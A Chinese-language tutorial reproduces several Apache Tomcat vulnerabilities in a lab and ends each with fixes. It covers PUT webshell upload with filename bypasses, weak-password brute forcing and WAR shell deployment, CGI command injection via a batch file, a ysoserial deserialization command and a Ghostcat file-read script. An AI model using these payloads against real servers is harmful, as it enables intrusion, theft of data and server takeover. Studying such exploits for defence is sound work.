介绍
tomcat是一个开源而且免费的jsp服务器,属于轻量级应用服务器。它可以实现JavaWeb程序的装载,是配置JSP(Java Server Page)和JAVA系统必备的一款环境。
目录介绍
webapp:工程发布文件夹。其实每个 war 包都可以视为 webapp 的压缩包。
META-INF:MANIFEST.MF 目录用于存放工程自身相关的一些信息,元文件信息,通常由开发工具,环境自动生 成。
WEB-INF:Java web应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。
/WEB-INF/classes:存放程序所需要的所有 Java class 文件。
/WEB-INF/lib:存放程序所需要的所有 jar 文件。
/WEB-INF/web.xml:web 应用的部署配置文件。它是工程中最重要的配置文件,它描述了 servlet 和组 成应用的其它组件,以及应用初始化参数、安全管理约束等。
Tomcat 文件上传 (CVE-2017-12615)
漏洞原理
当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
当在Tomcat的conf(配置目录下)/web.xml配置文件中添加readonly设置为false时,将导致该漏洞产生,(需要允许put请求)
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
影响版本
Apache Tomcat 7.0.0 - 7.0.79
Apache Tomcat/8.5.19
漏洞复现
VULFOCUS启动靶场
tomcat 文件上传 (CVE-2017-12615)
支持三种上传绕过方式 默认使用put 加文件名是失败的 需要绕过
PUT /shell.jsp%20
PUT /shell.jsp::$DATA
PUT /shell.jsp/
上传冰蝎马
成功上传
漏洞修复
web.xml设置readonly 为true
tomcat弱口令&war远程部署
漏洞原理
在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令,使用工具对其进行穷举。得到密码后,也可以进行后台上传恶意代码控制服务器。
漏洞复现
VULFOCUS启动靶机
tomcat-pass-getshell 弱口令
点击Manager App,一般默认密码为tomcat/tomcat
用burp抓包,发现账号密码用base64加密,tomcat:tomcat
直接爆破密码,前缀设置tomcat:
以及base64加密
manager界面有个war包的上传点,把冰蝎马压缩后缀改为war
上传成功会显示shell目录
这时候shell.war已经成功被解压,访问/shell/shell.jsp即可
漏洞修复
- 设置强口令
conf/tomcat-users.xml
<user username="tomcat" password="tomcat" roles="manager-gui,manager- script,manager-jmx,manager-status,admin-gui,admin-script" />
- 删除manger文件
tomcat远程代码执行(CVE-2019-0232)
漏洞描述
4月11日,Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞(CVE-2019-0232),由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击。
触发该漏洞需要同时满足以下条件:
-
系统为Windows
-
启用了CGI Servlet(默认为关闭)
-
启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)
影响范围
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
漏洞复现
搭建tomcat后修改web.xml
Tomcat的CGI_Servlet组件默认是关闭的,在 conf/web.xml 中找到注释的CGIServlet部分,去掉注释,并配置enableCmdLineArguments和executable,如下:
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>cgi</servlet-name>
<url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>
然后修改在conf/context.xml中的添加privileged=”true”语句
<Context privileged="true">
<!-- Default set of monitored resources. If one of these changes, the -->
<!-- web application will be reloaded. -->
<WatchedResource>WEB-INF/web.xml</WatchedResource>
<WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>
<!-- Uncomment this to disable session persistence across Tomcat restarts -->
<!--
<Manager pathname="" />
-->
</Context>
在webappsROOTWEB-INF下创建一个cgi-bin文件夹,并在文件夹内创建一个hello.bat文件写入
@echo off
echo Content-Type: text/plain
echo. set off=%~1
%off%
完成后启动tomcat服务,访问
/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user
/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user%20Administrator
漏洞修复
受影响版本的用户应该应用下列其中一项缓解。升级到:
Apache Tomcat 9.0.18或更高版本
Apache Tomcat 8.5.40或更高版本
Apache Tomcat 7.0.93或更高版本
tomcat反序列化漏洞(cve-2016-8735)
漏洞描述
该漏洞与之前Oracle发布的mxRemoteLifecycleListener反序列化漏洞(CVE-2016-3427)相关,是由于使用JmxRemoteLifecycleListener的监听功能所导致。而在Oracle官方发布修复后,Tomcat未能及时修复更新而导致 的远程代码执行。
该漏洞所造成的最根本原因是Tomcat在配置JMX做监控时使用了JmxRemoteLifecycleListener的方法。
影响范围
ApacheTomcat 9.0.0.M1 到9.0.0.M11
ApacheTomcat 8.5.0 到8.5.6
ApacheTomcat 8.0.0.RC1 到8.0.38
ApacheTomcat 7.0.0 到7.0.72
ApacheTomcat 6.0.0 到6.0.47
漏洞复现
利用条件:外部需要开启JmxRemoteLifecycleListener监听的10001和10002端口,来实现远程代码执行。
conf/server.xml
中第30行中配置启用JmxRemoteLifecycleListener功能监听的端口:
<Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener" rmiRegistryPortPlatform="10001" rmiServerPortPlatform="10002" />
修改bin\catalina.bat
在Execute The Requested Comman上面添加
set CATALINA_OPTS=-Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false
-Dcom.sun.management.jmxremote.ssl=false 指定是否使用SSL通讯
-Dcom.sun.management.jmxremote.authenticate=false 指定是否需要密码验证
执行startup.bat , tomcat 查看端口
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.0.167 10001 Groovy1 "calc.exe"
漏洞修复
1、关闭 JmxRemoteLifecycleListener 功能,或者是对 jmx JmxRemoteLifecycleListener 远程端口进
行网络访问控制。同时,增加严格的认证方式。
2、根据官方去升级更新相对应的版本。
Tomcat文件读取漏洞(CVE-2020-1938)
漏洞描述
Apache与Tomcat都是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的Web服务器运行。Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。
影响版本
Apache Tomcat 6 Tomcat 7系列 <7.0.100
Tomcat 8系列 < 8.5.51
Tomcat 9 系列 <9.0.31
漏洞复现
tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,两个端口默认均监听在外网ip
<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
<!-- A "Connector" using the shared thread pool-->
<Connector executor="tomcatThreadPool"
port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443" />
<!-- Define an AJP 1.3 Connector on port 8009 -->
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
tomcat在接收ajp请求的时候调用org.apache.coyote.ajp.AjpProcessor来处理ajp消息,prepareRequest将ajp里面的内容取出来设置成request对象的Attribute属性。可以通过此种特性从而
可以控制request对象的下面三个Attribute属性
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
再通过控制ajp控制的上述三个属性来读取文件,通过操控上述三个属性从而可以读取到应用目录下的任何文件。
使用攻击payload执行即可(https://github.com/xindongzhuaizhuai/CVE-2020-1938)
python CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 192.168.0.168
漏洞修复
- 更新到安全版本
Apache Tomcat 7.0.100
Apache Tomcat 8.5.51
Apache Tomcat 9.0.31
https://tomcat.apache.org/download-70.cgi
https://tomcat.apache.org/download-80.cgi
https://tomcat.apache.org/download-90.cgi
或Github下载:https://github.com/apache/tomcat/releases
- 关闭AJP服务,修改Tomcat配置文件Service.xml,注释掉
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
- 配置ajp配置中的secretRequired跟secret属性来限制认证